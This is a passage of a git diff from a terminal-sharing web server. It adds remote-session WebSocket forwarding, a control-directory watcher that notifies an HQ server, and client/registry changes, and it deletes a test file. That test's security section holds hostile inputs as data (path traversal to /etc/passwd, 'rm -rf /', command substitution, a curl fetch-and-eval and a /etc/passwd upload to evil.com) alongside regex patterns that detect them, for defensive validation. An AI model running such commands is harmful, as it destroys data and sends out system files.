} catch (error) {
|
||||
console.error('[BufferAggregator] Error encoding buffer update:', error);
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
subscriptions.set(sessionId, unsubscribe);
|
||||
|
||||
// Send initial buffer
|
||||
const initialSnapshot = await this.config.terminalManager.getBufferSnapshot(sessionId);
|
||||
const buffer = this.config.terminalManager.encodeSnapshot(initialSnapshot);
|
||||
|
||||
const sessionIdBuffer = Buffer.from(sessionId, 'utf8');
|
||||
const totalLength = 1 + 4 + sessionIdBuffer.length + buffer.length;
|
||||
const fullBuffer = Buffer.allocUnsafe(totalLength);
|
||||
|
||||
let offset = 0;
|
||||
fullBuffer.writeUInt8(0xbf, offset);
|
||||
offset += 1;
|
||||
|
||||
fullBuffer.writeUInt32LE(sessionIdBuffer.length, offset);
|
||||
offset += 4;
|
||||
|
||||
sessionIdBuffer.copy(fullBuffer, offset);
|
||||
offset += sessionIdBuffer.length;
|
||||
|
||||
buffer.copy(fullBuffer, offset);
|
||||
|
||||
if (clientWs.readyState === WebSocket.OPEN) {
|
||||
clientWs.send(fullBuffer);
|
||||
}
|
||||
} catch (error) {
|
||||
console.error(`[BufferAggregator] Error subscribing to local session ${sessionId}:`, error);
|
||||
clientWs.send(JSON.stringify({ type: 'error', message: 'Failed to subscribe to session' }));
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Subscribe a client to a remote session
|
||||
*/
|
||||
private async subscribeToRemoteSession(
|
||||
clientWs: WebSocket,
|
||||
sessionId: string,
|
||||
remoteId: string
|
||||
): Promise<void> {
|
||||
// Ensure we have a connection to this remote
|
||||
let remoteConn = this.remoteConnections.get(remoteId);
|
||||
if (!remoteConn || remoteConn.ws.readyState !== WebSocket.OPEN) {
|
||||
// Need to connect to remote
|
||||
const connected = await this.connectToRemote(remoteId);
|
||||
if (!connected) {
|
||||
clientWs.send(
|
||||
JSON.stringify({ type: 'error', message: 'Failed to connect to remote server' })
|
||||
);
|
||||
return;
|
||||
}
|
||||
remoteConn = this.remoteConnections.get(remoteId);
|
||||
}
|
||||
|
||||
if (!remoteConn) return;
|
||||
|
||||
// Subscribe to the session on the remote
|
||||
remoteConn.subscriptions.add(sessionId);
|
||||
remoteConn.ws.send(JSON.stringify({ type: 'subscribe', sessionId }));
|
||||
|
||||
// Store an unsubscribe function for the client
|
||||
const subscriptions = this.clientSubscriptions.get(clientWs);
|
||||
if (subscriptions) {
|
||||
subscriptions.set(sessionId, () => {
|
||||
// Will be handled in the unsubscribe message handler
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Connect to a remote server's WebSocket
|
||||
*/
|
||||
private async connectToRemote(remoteId: string): Promise<boolean> {
|
||||
if (!this.config.remoteRegistry) return false;
|
||||
|
||||
const remote = this.config.remoteRegistry.getRemote(remoteId);
|
||||
if (!remote) return false;
|
||||
|
||||
try {
|
||||
// Convert HTTP URL to WebSocket URL
|
||||
const wsUrl = remote.url.replace(/^http/, 'ws');
|
||||
const ws = new WebSocket(wsUrl, {
|
||||
headers: {
|
||||
Authorization: `Bearer ${remote.token}`,
|
||||
},
|
||||
});
|
||||
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
const timeout = setTimeout(() => {
|
||||
reject(new Error('Connection timeout'));
|
||||
}, 5000);
|
||||
|
||||
ws.on('open', () => {
|
||||
clearTimeout(timeout);
|
||||
resolve();
|
||||
});
|
||||
|
||||
ws.on('error', (error) => {
|
||||
clearTimeout(timeout);
|
||||
reject(error);
|
||||
});
|
||||
});
|
||||
|
||||
const remoteConn: RemoteWebSocketConnection = {
|
||||
ws,
|
||||
remoteId: remote.id,
|
||||
remoteName: remote.name,
|
||||
subscriptions: new Set(),
|
||||
};
|
||||
|
||||
this.remoteConnections.set(remoteId, remoteConn);
|
||||
|
||||
// Handle messages from remote
|
||||
ws.on('message', (data: Buffer) => {
|
||||
this.handleRemoteMessage(remoteId, data);
|
||||
});
|
||||
|
||||
// Handle disconnection
|
||||
ws.on('close', () => {
|
||||
console.log(chalk.yellow(`[BufferAggregator] Disconnected from remote ${remote.name}`));
|
||||
this.remoteConnections.delete(remoteId);
|
||||
});
|
||||
|
||||
ws.on('error', (error) => {
|
||||
console.error(
|
||||
chalk.red(`[BufferAggregator] Remote ${remote.name} WebSocket error:`),
|
||||
error
|
||||
);
|
||||
});
|
||||
|
||||
console.log(chalk.green(`[BufferAggregator] Connected to remote ${remote.name}`));
|
||||
return true;
|
||||
} catch (error) {
|
||||
console.error(
|
||||
chalk.red(`[BufferAggregator] Failed to connect to remote ${remoteId}:`),
|
||||
error
|
||||
);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Handle messages from a remote server
|
||||
*/
|
||||
private handleRemoteMessage(remoteId: string, data: Buffer): void {
|
||||
// Check if this is a binary buffer update
|
||||
if (data.length > 0 && data[0] === 0xbf) {
|
||||
// Forward to all clients subscribed to sessions from this remote
|
||||
this.forwardBufferToClients(data);
|
||||
} else {
|
||||
// JSON message
|
||||
try {
|
||||
const message = JSON.parse(data.toString());
|
||||
console.log(`[BufferAggregator] Remote ${remoteId} message:`, message.type);
|
||||
} catch (error) {
|
||||
console.error(`[BufferAggregator] Failed to parse remote message:`, error);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Forward a buffer update to all subscribed clients
|
||||
*/
|
||||
private forwardBufferToClients(buffer: Buffer): void {
|
||||
// Extract session ID from buffer
|
||||
if (buffer.length < 5) return;
|
||||
|
||||
const sessionIdLength = buffer.readUInt32LE(1);
|
||||
if (buffer.length < 5 + sessionIdLength) return;
|
||||
|
||||
const sessionId = buffer.subarray(5, 5 + sessionIdLength).toString('utf8');
|
||||
|
||||
// Forward to all clients subscribed to this session
|
||||
for (const [clientWs, subscriptions] of this.clientSubscriptions) {
|
||||
if (subscriptions.has(sessionId) && clientWs.readyState === WebSocket.OPEN) {
|
||||
clientWs.send(buffer);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Handle client disconnection
|
||||
*/
|
||||
private handleClientDisconnect(ws: WebSocket): void {
|
||||
const subscriptions = this.clientSubscriptions.get(ws);
|
||||
if (subscriptions) {
|
||||
// Unsubscribe from all sessions
|
||||
for (const [_sessionId, unsubscribe] of subscriptions) {
|
||||
unsubscribe();
|
||||
}
|
||||
subscriptions.clear();
|
||||
}
|
||||
this.clientSubscriptions.delete(ws);
|
||||
console.log(chalk.yellow('[BufferAggregator] Client disconnected'));
|
||||
}
|
||||
|
||||
/**
|
||||
* Register a new remote server (called when a remote registers with HQ)
|
||||
*/
|
||||
async onRemoteRegistered(remoteId: string): Promise<void> {
|
||||
// Optionally pre-connect to the remote
|
||||
await this.connectToRemote(remoteId);
|
||||
}
|
||||
|
||||
/**
|
||||
* Handle remote server unregistration
|
||||
*/
|
||||
onRemoteUnregistered(remoteId: string): void {
|
||||
const remoteConn = this.remoteConnections.get(remoteId);
|
||||
if (remoteConn) {
|
||||
remoteConn.ws.close();
|
||||
this.remoteConnections.delete(remoteId);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Clean up all connections
|
||||
*/
|
||||
destroy(): void {
|
||||
// Close all client connections
|
||||
for (const [ws] of this.clientSubscriptions) {
|
||||
ws.close();
|
||||
}
|
||||
this.clientSubscriptions.clear();
|
||||
|
||||
// Close all remote connections
|
||||
for (const [_, remoteConn] of this.remoteConnections) {
|
||||
remoteConn.ws.close();
|
||||
}
|
||||
this.remoteConnections.clear();
|
||||
}
|
||||
}
|
||||
136
web/src/server/services/control-dir-watcher.ts
Normal file
136
web/src/server/services/control-dir-watcher.ts
Normal file
|
|
@ -0,0 +1,136 @@
|
|||
import * as fs from 'fs';
|
||||
import * as path from 'path';
|
||||
import chalk from 'chalk';
|
||||
import { RemoteRegistry } from './remote-registry.js';
|
||||
import { HQClient } from './hq-client.js';
|
||||
|
||||
interface ControlDirWatcherConfig {
|
||||
controlDir: string;
|
||||
remoteRegistry: RemoteRegistry | null;
|
||||
isHQMode: boolean;
|
||||
hqClient: HQClient | null;
|
||||
}
|
||||
|
||||
export class ControlDirWatcher {
|
||||
private watcher: fs.FSWatcher | null = null;
|
||||
private config: ControlDirWatcherConfig;
|
||||
|
||||
constructor(config: ControlDirWatcherConfig) {
|
||||
this.config = config;
|
||||
}
|
||||
|
||||
start(): void {
|
||||
// Create control directory if it doesn't exist
|
||||
if (!fs.existsSync(this.config.controlDir)) {
|
||||
console.log(
|
||||
chalk.yellow(`Control directory ${this.config.controlDir} does not exist, creating it...`)
|
||||
);
|
||||
fs.mkdirSync(this.config.controlDir, { recursive: true });
|
||||
}
|
||||
|
||||
this.watcher = fs.watch(
|
||||
this.config.controlDir,
|
||||
{ persistent: true },
|
||||
async (eventType, filename) => {
|
||||
if (eventType === 'rename' && filename) {
|
||||
await this.handleFileChange(filename);
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
console.log(chalk.green(`Control directory watcher started for ${this.config.controlDir}`));
|
||||
}
|
||||
|
||||
private async handleFileChange(filename: string): Promise<void> {
|
||||
const sessionPath = path.join(this.config.controlDir, filename);
|
||||
const sessionJsonPath = path.join(sessionPath, 'session.json');
|
||||
|
||||
try {
|
||||
// Give it a moment for the session.json to be written
|
||||
await new Promise((resolve) => setTimeout(resolve, 100));
|
||||
|
||||
if (fs.existsSync(sessionJsonPath)) {
|
||||
// Session was created
|
||||
const sessionData = JSON.parse(fs.readFileSync(sessionJsonPath, 'utf8'));
|
||||
const sessionId = sessionData.session_id || filename;
|
||||
|
||||
console.log(chalk.blue(`Detected new external session: ${sessionId}`));
|
||||
|
||||
// If we're a remote server registered with HQ, immediately notify HQ
|
||||
if (this.config.hqClient) {
|
||||
try {
|
||||
await this.notifyHQAboutSession(sessionId, 'created');
|
||||
} catch (error) {
|
||||
console.error(chalk.red(`Failed to notify HQ about new session ${sessionId}:`), error);
|
||||
}
|
||||
}
|
||||
|
||||
// If we're in HQ mode and this is a local session, no special handling needed
|
||||
// The session is already tracked locally
|
||||
} else if (!fs.existsSync(sessionPath)) {
|
||||
// Session directory was removed
|
||||
const sessionId = filename;
|
||||
console.log(chalk.yellow(`Detected removed external session: ${sessionId}`));
|
||||
|
||||
// If we're a remote server registered with HQ, immediately notify HQ
|
||||
if (this.config.hqClient) {
|
||||
try {
|
||||
await this.notifyHQAboutSession(sessionId, 'deleted');
|
||||
} catch (error) {
|
||||
console.error(
|
||||
chalk.red(`Failed to notify HQ about deleted session ${sessionId}:`),
|
||||
error
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// If in HQ mode, remove from tracking
|
||||
if (this.config.isHQMode && this.config.remoteRegistry) {
|
||||
this.config.remoteRegistry.removeSessionFromRemote(sessionId);
|
||||
}
|
||||
}
|
||||
} catch (error) {
|
||||
console.error(chalk.red(`Error handling file change for ${filename}:`), error);
|
||||
}
|
||||
}
|
||||
|
||||
private async notifyHQAboutSession(
|
||||
sessionId: string,
|
||||
action: 'created' | 'deleted'
|
||||
): Promise<void> {
|
||||
if (!this.config.hqClient) return;
|
||||
|
||||
const hqUrl = this.config.hqClient.getHQUrl();
|
||||
const hqAuth = this.config.hqClient.getHQAuth();
|
||||
const remoteName = this.config.hqClient.getName();
|
||||
|
||||
// Notify HQ about session change
|
||||
// For now, we'll trigger a session list refresh by calling the HQ's session endpoint
|
||||
// This will cause HQ to update its registry with the latest session information
|
||||
const response = await fetch(`${hqUrl}/api/remotes/${remoteName}/refresh-sessions`, {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
Authorization: hqAuth,
|
||||
},
|
||||
body: JSON.stringify({
|
||||
action,
|
||||
sessionId,
|
||||
}),
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
throw new Error(`HQ responded with ${response.status}`);
|
||||
}
|
||||
|
||||
console.log(chalk.green(`Notified HQ about ${action} session ${sessionId}`));
|
||||
}
|
||||
|
||||
stop(): void {
|
||||
if (this.watcher) {
|
||||
this.watcher.close();
|
||||
this.watcher = null;
|
||||
console.log(chalk.yellow('Control directory watcher stopped'));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -7,14 +7,23 @@ export class HQClient {
|
|||
private readonly token: string;
|
||||
private readonly hqUsername: string;
|
||||
private readonly hqPassword: string;
|
||||
private readonly remoteUrl: string;
|
||||
|
||||
constructor(hqUrl: string, hqUsername: string, hqPassword: string, remoteName: string) {
|
||||
constructor(
|
||||
hqUrl: string,
|
||||
hqUsername: string,
|
||||
hqPassword: string,
|
||||
remoteName: string,
|
||||
remoteUrl: string,
|
||||
bearerToken: string
|
||||
) {
|
||||
this.hqUrl = hqUrl;
|
||||
this.remoteId = uuidv4();
|
||||
this.remoteName = remoteName;
|
||||
this.token = uuidv4();
|
||||
this.token = bearerToken;
|
||||
this.hqUsername = hqUsername;
|
||||
this.hqPassword = hqPassword;
|
||||
this.remoteUrl = remoteUrl;
|
||||
}
|
||||
|
||||
async register(): Promise<void> {
|
||||
|
|
@ -28,7 +37,7 @@ export class HQClient {
|
|||
body: JSON.stringify({
|
||||
id: this.remoteId,
|
||||
name: this.remoteName,
|
||||
url: `http://localhost:${process.env.PORT || 4020}`,
|
||||
url: this.remoteUrl,
|
||||
token: this.token, // Token for HQ to authenticate with this remote
|
||||
}),
|
||||
});
|
||||
|
|
@ -69,4 +78,17 @@ export class HQClient {
|
|||
getToken(): string {
|
||||
return this.token;
|
||||
}
|
||||
|
||||
getHQUrl(): string {
|
||||
return this.hqUrl;
|
||||
}
|
||||
|
||||
getHQAuth(): string {
|
||||
const credentials = Buffer.from(`${this.hqUsername}:${this.hqPassword}`).toString('base64');
|
||||
return `Basic ${credentials}`;
|
||||
}
|
||||
|
||||
getName(): string {
|
||||
return this.remoteName;
|
||||
}
|
||||
}
|
||||
|
|
@ -95,6 +95,26 @@ export class RemoteRegistry {
|
|||
}
|
||||
}
|
||||
|
||||
addSessionToRemote(remoteId: string, sessionId: string): void {
|
||||
const remote = this.remotes.get(remoteId);
|
||||
if (!remote) return;
|
||||
|
||||
remote.sessionIds.add(sessionId);
|
||||
this.sessionToRemote.set(sessionId, remoteId);
|
||||
}
|
||||
|
||||
removeSessionFromRemote(sessionId: string): void {
|
||||
const remoteId = this.sessionToRemote.get(sessionId);
|
||||
if (!remoteId) return;
|
||||
|
||||
const remote = this.remotes.get(remoteId);
|
||||
if (remote) {
|
||||
remote.sessionIds.delete(sessionId);
|
||||
}
|
||||
|
||||
this.sessionToRemote.delete(sessionId);
|
||||
}
|
||||
|
||||
private async checkRemoteHealth(remote: RemoteServer): Promise<void> {
|
||||
try {
|
||||
const controller = new AbortController();
|
||||
|
|
@ -105,31 +125,16 @@ export class RemoteRegistry {
|
|||
Authorization: `Bearer ${remote.token}`,
|
||||
};
|
||||
|
||||
// First try health endpoint, fall back to sessions
|
||||
let response = await fetch(`${remote.url}/api/health`, {
|
||||
// Only check health endpoint - all remotes MUST have it
|
||||
const response = await fetch(`${remote.url}/api/health`, {
|
||||
headers,
|
||||
signal: controller.signal,
|
||||
}).catch(() => null);
|
||||
|
||||
// If health endpoint doesn't exist, try sessions
|
||||
if (!response || response.status === 404) {
|
||||
response = await fetch(`${remote.url}/api/sessions`, {
|
||||
headers,
|
||||
signal: controller.signal,
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
clearTimeout(timeoutId);
|
||||
|
||||
if (response.ok) {
|
||||
remote.lastHeartbeat = new Date();
|
||||
|
||||
// If we got sessions, update the session tracking
|
||||
if (response.url.endsWith('/api/sessions')) {
|
||||
const sessions = await response.json();
|
||||
const sessionIds = Array.isArray(sessions) ? sessions.map((s: any) => s.id) : [];
|
||||
this.updateRemoteSessions(remote.id, sessionIds);
|
||||
}
|
||||
} else {
|
||||
throw new Error(`HTTP ${response.status}`);
|
||||
}
|
||||
|
|
@ -1,7 +1,7 @@
|
|||
import * as fs from 'fs';
|
||||
|
||||
interface StreamClient {
|
||||
response: any; // Express Response type
|
||||
response: import('express').Response;
|
||||
startTime: number;
|
||||
}
|
||||
|
||||
|
|
@ -18,7 +18,7 @@ export class StreamWatcher {
|
|||
/**
|
||||
* Add a client to watch a stream file
|
||||
*/
|
||||
addClient(sessionId: string, streamPath: string, response: any): void {
|
||||
addClient(sessionId: string, streamPath: string, response: import('express').Response): void {
|
||||
const startTime = Date.now() / 1000;
|
||||
const client: StreamClient = { response, startTime };
|
||||
|
||||
|
|
@ -59,7 +59,7 @@ export class StreamWatcher {
|
|||
/**
|
||||
* Remove a client
|
||||
*/
|
||||
removeClient(sessionId: string, response: any): void {
|
||||
removeClient(sessionId: string, response: import('express').Response): void {
|
||||
const watcherInfo = this.activeWatchers.get(sessionId);
|
||||
if (!watcherInfo) return;
|
||||
|
||||
|
|
@ -608,7 +608,10 @@ export class TerminalManager {
|
|||
this.bufferListeners.set(sessionId, new Set());
|
||||
}
|
||||
|
||||
this.bufferListeners.get(sessionId)!.add(listener);
|
||||
const listeners = this.bufferListeners.get(sessionId);
|
||||
if (listeners) {
|
||||
listeners.add(listener);
|
||||
}
|
||||
|
||||
// Return unsubscribe function
|
||||
return () => {
|
||||
|
|
@ -1,372 +0,0 @@
|
|||
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
|
||||
import { spawn } from 'child_process';
|
||||
import { EventEmitter } from 'events';
|
||||
|
||||
// Mock modules
|
||||
vi.mock('child_process', () => ({
|
||||
spawn: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock('fs', () => ({
|
||||
default: {
|
||||
existsSync: vi.fn(() => true),
|
||||
mkdirSync: vi.fn(),
|
||||
readFileSync: vi.fn(() => '{"lines": ["test"], "cursor": {"x": 0, "y": 0}}'),
|
||||
readdirSync: vi.fn(() => []),
|
||||
statSync: vi.fn(() => ({ isDirectory: () => true })),
|
||||
},
|
||||
}));
|
||||
|
||||
vi.mock('os', () => ({
|
||||
default: {
|
||||
homedir: () => '/home/test',
|
||||
},
|
||||
}));
|
||||
|
||||
describe('Critical VibeTunnel Functionality', () => {
|
||||
let mockSpawn: ReturnType<typeof vi.fn>;
|
||||
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
mockSpawn = vi.mocked(spawn);
|
||||
|
||||
// Default mock for tty-fwd success
|
||||
const mockTtyFwdProcess = {
|
||||
stdout: {
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'data') {
|
||||
callback(Buffer.from('{}'));
|
||||
}
|
||||
}),
|
||||
},
|
||||
stderr: { on: vi.fn() },
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'close') callback(0);
|
||||
}),
|
||||
kill: vi.fn(),
|
||||
};
|
||||
|
||||
mockSpawn.mockReturnValue(mockTtyFwdProcess);
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
describe('Session Management', () => {
|
||||
it('should spawn a new terminal session', async () => {
|
||||
// Mock successful session creation
|
||||
mockSpawn.mockImplementationOnce(() => ({
|
||||
stdout: {
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'data') {
|
||||
callback(Buffer.from('session-123'));
|
||||
}
|
||||
}),
|
||||
},
|
||||
stderr: { on: vi.fn() },
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'close') callback(0);
|
||||
}),
|
||||
kill: vi.fn(),
|
||||
}));
|
||||
|
||||
// Execute spawn command
|
||||
const args = ['spawn', '--name', 'Test Session', '--cwd', '/home/test', '--', 'bash'];
|
||||
const proc = mockSpawn('tty-fwd', args);
|
||||
|
||||
let sessionId = '';
|
||||
proc.stdout.on('data', (data: Buffer) => {
|
||||
sessionId = data.toString().trim();
|
||||
});
|
||||
|
||||
// Wait for process to complete
|
||||
await new Promise((resolve) => {
|
||||
proc.on('close', resolve);
|
||||
});
|
||||
|
||||
expect(sessionId).toBe('session-123');
|
||||
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', args);
|
||||
});
|
||||
|
||||
it('should list active sessions', async () => {
|
||||
const mockSessions = {
|
||||
'session-1': {
|
||||
cmdline: ['bash'],
|
||||
cwd: '/home/test',
|
||||
exit_code: null,
|
||||
name: 'bash',
|
||||
pid: 1234,
|
||||
started_at: '2024-01-01T00:00:00Z',
|
||||
status: 'running',
|
||||
stdin: '/tmp/session-1.stdin',
|
||||
'stream-out': '/tmp/session-1.out',
|
||||
waiting: false,
|
||||
},
|
||||
};
|
||||
|
||||
mockSpawn.mockImplementationOnce(() => ({
|
||||
stdout: {
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'data') {
|
||||
callback(Buffer.from(JSON.stringify(mockSessions)));
|
||||
}
|
||||
}),
|
||||
},
|
||||
stderr: { on: vi.fn() },
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'close') callback(0);
|
||||
}),
|
||||
kill: vi.fn(),
|
||||
}));
|
||||
|
||||
const proc = mockSpawn('tty-fwd', ['list']);
|
||||
let sessions = {};
|
||||
|
||||
proc.stdout.on('data', (data: Buffer) => {
|
||||
sessions = JSON.parse(data.toString());
|
||||
});
|
||||
|
||||
await new Promise((resolve) => {
|
||||
proc.on('close', resolve);
|
||||
});
|
||||
|
||||
expect(sessions).toEqual(mockSessions);
|
||||
expect(Object.keys(sessions)).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('should handle terminal input/output', async () => {
|
||||
const mockStreamProcess = new EventEmitter() as EventEmitter & {
|
||||
stdout: EventEmitter;
|
||||
stderr: EventEmitter;
|
||||
kill: ReturnType<typeof vi.fn>;
|
||||
};
|
||||
mockStreamProcess.stdout = new EventEmitter();
|
||||
mockStreamProcess.stderr = new EventEmitter();
|
||||
mockStreamProcess.kill = vi.fn();
|
||||
|
||||
mockSpawn.mockImplementationOnce(() => mockStreamProcess);
|
||||
|
||||
// Start streaming
|
||||
const streamData: string[] = [];
|
||||
const proc = mockSpawn('tty-fwd', ['stream', 'session-123']);
|
||||
|
||||
proc.stdout.on('data', (data: Buffer) => {
|
||||
streamData.push(data.toString());
|
||||
});
|
||||
|
||||
// Simulate terminal output
|
||||
mockStreamProcess.stdout.emit('data', Buffer.from('$ echo "Hello World"\n'));
|
||||
mockStreamProcess.stdout.emit('data', Buffer.from('Hello World\n'));
|
||||
mockStreamProcess.stdout.emit('data', Buffer.from('$ '));
|
||||
|
||||
expect(streamData).toEqual(['$ echo "Hello World"\n', 'Hello World\n', '$ ']);
|
||||
});
|
||||
|
||||
it('should terminate sessions cleanly', async () => {
|
||||
mockSpawn.mockImplementationOnce(() => ({
|
||||
stdout: {
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'data') {
|
||||
callback(Buffer.from('Session terminated'));
|
||||
}
|
||||
}),
|
||||
},
|
||||
stderr: { on: vi.fn() },
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'close') callback(0);
|
||||
}),
|
||||
kill: vi.fn(),
|
||||
}));
|
||||
|
||||
const proc = mockSpawn('tty-fwd', ['terminate', 'session-123']);
|
||||
let result = '';
|
||||
|
||||
proc.stdout.on('data', (data: Buffer) => {
|
||||
result = data.toString();
|
||||
});
|
||||
|
||||
await new Promise((resolve) => {
|
||||
proc.on('close', resolve);
|
||||
});
|
||||
|
||||
expect(result).toBe('Session terminated');
|
||||
});
|
||||
});
|
||||
|
||||
describe('WebSocket Communication', () => {
|
||||
it('should handle terminal resize events', () => {
|
||||
const resizeArgs = ['resize', 'session-123', '120', '40'];
|
||||
mockSpawn('tty-fwd', resizeArgs);
|
||||
|
||||
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', resizeArgs);
|
||||
});
|
||||
|
||||
it('should handle concurrent sessions', async () => {
|
||||
const sessions = ['session-1', 'session-2', 'session-3'];
|
||||
const processes = sessions.map((sessionId) => {
|
||||
return mockSpawn('tty-fwd', ['stream', sessionId]);
|
||||
});
|
||||
|
||||
expect(processes).toHaveLength(3);
|
||||
expect(mockSpawn).toHaveBeenCalledTimes(3);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Error Handling', () => {
|
||||
it('should handle command execution failures', async () => {
|
||||
mockSpawn.mockImplementationOnce(() => ({
|
||||
stdout: { on: vi.fn() },
|
||||
stderr: {
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'data') {
|
||||
callback(Buffer.from('Error: Command not found'));
|
||||
}
|
||||
}),
|
||||
},
|
||||
on: vi.fn((event, callback) => {
|
||||
if (event === 'close') callback(1);
|
||||
}),
|
||||
kill: vi.fn(),
|
||||
}));
|
||||
|
||||
const proc = mockSpawn('tty-fwd', ['spawn', '--', 'nonexistent-command']);
|
||||
let error = '';
|
||||
let exitCode = 0;
|
||||
|
||||
proc.stderr.on('data', (data: Buffer) => {
|
||||
error = data.toString();
|
||||
});
|
||||
|
||||
proc.on('close', (code: number) => {
|
||||
exitCode = code;
|
||||
});
|
||||
|
||||
await new Promise((resolve) => {
|
||||
proc.on('close', resolve);
|
||||
});
|
||||
|
||||
expect(exitCode).toBe(1);
|
||||
expect(error).toContain('Command not found');
|
||||
});
|
||||
|
||||
it('should handle timeout scenarios', () => {
|
||||
const mockSlowProcess = {
|
||||
stdout: { on: vi.fn() },
|
||||
stderr: { on: vi.fn() },
|
||||
on: vi.fn(),
|
||||
kill: vi.fn(),
|
||||
};
|
||||
|
||||
mockSpawn.mockImplementationOnce(() => mockSlowProcess);
|
||||
|
||||
const proc = mockSpawn('tty-fwd', ['list']);
|
||||
|
||||
// Simulate timeout
|
||||
setTimeout(() => {
|
||||
proc.kill('SIGTERM');
|
||||
}, 100);
|
||||
|
||||
expect(proc.kill).toBeDefined();
|
||||
expect(mockSlowProcess.kill).toBeDefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe('Security and Validation', () => {
|
||||
it('should validate session IDs', () => {
|
||||
const validSessionId = 'abc123-def456-789';
|
||||
const invalidSessionIds = [
|
||||
'../../../etc/passwd',
|
||||
'session; rm -rf /',
|
||||
'$(whoami)',
|
||||
'',
|
||||
null,
|
||||
undefined,
|
||||
];
|
||||
|
||||
const isValidSessionId = (id: unknown) => {
|
||||
return typeof id === 'string' && /^[a-zA-Z0-9-]+$/.test(id);
|
||||
};
|
||||
|
||||
expect(isValidSessionId(validSessionId)).toBe(true);
|
||||
invalidSessionIds.forEach((id) => {
|
||||
expect(isValidSessionId(id)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
it('should sanitize command arguments', () => {
|
||||
const dangerousCommands = [
|
||||
['rm', '-rf', '/'],
|
||||
['eval', '$(curl evil.com/script.sh)'],
|
||||
['bash', '-c', 'cat /etc/passwd | curl evil.com'],
|
||||
];
|
||||
|
||||
const isSafeCommand = (cmd: string[]) => {
|
||||
const dangerousPatterns = [/rm\s+-rf/, /eval/, /curl.*evil/, /\$\(/, /`/];
|
||||
|
||||
const cmdString = cmd.join(' ');
|
||||
return !dangerousPatterns.some((pattern) => pattern.test(cmdString));
|
||||
};
|
||||
|
||||
dangerousCommands.forEach((cmd) => {
|
||||
expect(isSafeCommand(cmd)).toBe(false);
|
||||
});
|
||||
|
||||
expect(isSafeCommand(['ls', '-la'])).toBe(true);
|
||||
expect(isSafeCommand(['echo', 'hello'])).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Performance', () => {
|
||||
it('should handle rapid session creation', async () => {
|
||||
const startTime = performance.now();
|
||||
|
||||
// Create 10 sessions rapidly
|
||||
const sessionPromises = Array.from({ length: 10 }, (_, i) => {
|
||||
return new Promise((resolve) => {
|
||||
const proc = mockSpawn('tty-fwd', ['spawn', '--', 'bash']);
|
||||
proc.on('close', () => resolve(i));
|
||||
});
|
||||
});
|
||||
|
||||
await Promise.all(sessionPromises);
|
||||
|
||||
const endTime = performance.now();
|
||||
const totalTime = endTime - startTime;
|
||||
|
||||
// Should complete within reasonable time
|
||||
expect(totalTime).toBeLessThan(1000); // 1 second for 10 sessions
|
||||
expect(mockSpawn).toHaveBeenCalledTimes(10);
|
||||
});
|
||||
|
||||
it('should handle large terminal output efficiently', () => {
|
||||
const largeOutput = 'X'.repeat(100000); // 100KB of data
|
||||
|
||||
const mockProcess = new EventEmitter() as EventEmitter & {
|
||||
stdout: EventEmitter;
|
||||
stderr: EventEmitter;
|
||||
kill: ReturnType<typeof vi.fn>;
|
||||
};
|
||||
mockProcess.stdout = new EventEmitter();
|
||||
mockProcess.stderr = new EventEmitter();
|
||||
mockProcess.kill = vi.fn();
|
||||
|
||||
mockSpawn.mockImplementationOnce(() => mockProcess);
|
||||
|
||||
const proc = mockSpawn('tty-fwd', ['stream', 'session-123']);
|
||||
let receivedData = '';
|
||||
|
||||
proc.stdout.on('data', (data: Buffer) => {
|
||||
receivedData += data.toString();
|
||||
});
|
||||
|
||||
// Emit large output
|
||||
const startTime = performance.now();
|
||||
mockProcess.stdout.emit('data', Buffer.from(largeOutput));
|
||||
const endTime = performance.now();
|
||||
|
||||
expect(receivedData).toBe(largeOutput);
|
||||
expect(endTime - startTime).toBeLessThan(100); // Should process quickly
|
||||
});
|
||||
});
|
||||
});
|
||||
486
web/src/test/e2e/hq-mode.e2e.test.ts
Normal file
486
web/src/test/e2e/hq-mode.e2e.test.ts
Normal file
|
|
@ -0,0 +1,486 @@
|
|||
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
|
||||
import { spawn, ChildProcess } from 'child_process';
|
||||
import path from 'path';
|
||||
import fs from 'fs';
|
||||
import os from 'os';
|
||||
import { v4 as uuidv4 } from 'uuid';
|
||||
import WebSocket from 'ws';
|
||||
|
||||
describe('HQ Mode E2E Tests', () => {
|
||||
let hqProcess: ChildProcess | null = null;
|
||||
const remoteProcesses: ChildProcess[] = [];
|
||||
let hqPort = 0;
|
||||
const remotePorts: number[] = [];
|
